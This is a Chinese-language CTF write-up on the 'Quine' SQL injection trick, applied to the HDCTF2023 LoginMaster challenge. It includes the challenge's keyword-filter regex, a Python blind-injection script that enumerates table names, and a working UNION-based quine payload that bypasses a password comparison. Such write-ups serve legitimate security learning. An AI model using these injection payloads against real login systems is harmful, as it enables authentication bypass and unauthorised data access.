本文最后更新于:2023年6月5日 下午
Quine注入
原理
从三道赛题再谈Quine trick
CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)
yet_another_mysql_injection-Qunie
实验
看着有点烧脑,其实就是套娃
我们首先尝试一下:
1
| select REPLACE('.',char(46),'.');
|
输出是一个小数点 .
我们尝试将 上一段代码中的小数点 . 替换为:
1
| REPLACE(".",char(46),".")
|
完整代码:
1
| select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');
|
乍一看好像是一样的,但是单双引号有点区别,我们需要再套REPLACE
替换一下
1
| select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
|
是真的麻烦。。
基本上就是这种思路了
例题
[HDCTF2023]LoginMaster
robots.txt泄露
1 2 3 4 5 6 7 8 9 10 11
| <?php function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); } } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php');
|
sql注入题目,username必须为admin,此处我们需要从密码着手
但是注意看,过滤了 in
,意味着我们不能使用 information_schema
库查询表名,列名
我本来是想找一下除了information_schema
库,还有哪些库能用来查询的,找了这么几个:
1 2 3
| mysql.innodb_table_stats sys.schema_table_statistics sys.schema_table_statistics_with_buffer
|
这几个都能用来查询表名,此处我们可以使用下面两个,我们我们写脚本去查询表名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests
url = "http://node5.anna.nssctf.cn:28973" flag = "" s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"
for i in range(60): for j in s: payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j) data = { 'username': 'admin', 'password': payload } req = requests.post(url=url, data=data) if 'hacker' in req.text: print(payload) if 'something' in req.text: print("someting") if 'wrong password' in req.text: flag += j print(flag) break
|
发现啥都查不出来。。
实际上此处为一张空表,我们需要使用另一种做法(quine)
重点的代码是这里:
1 2 3
| if ($row['password'] === $password) { die($FLAG); }
|
我们除了让输入的密码与真正的密码一致外,还可以让输入的结果与输出的结果相同,同样可以实现获得flag
举个例子:
1
| select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
|
输入和输出结果一致,从而可以绕过
payload:
1
| 1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
|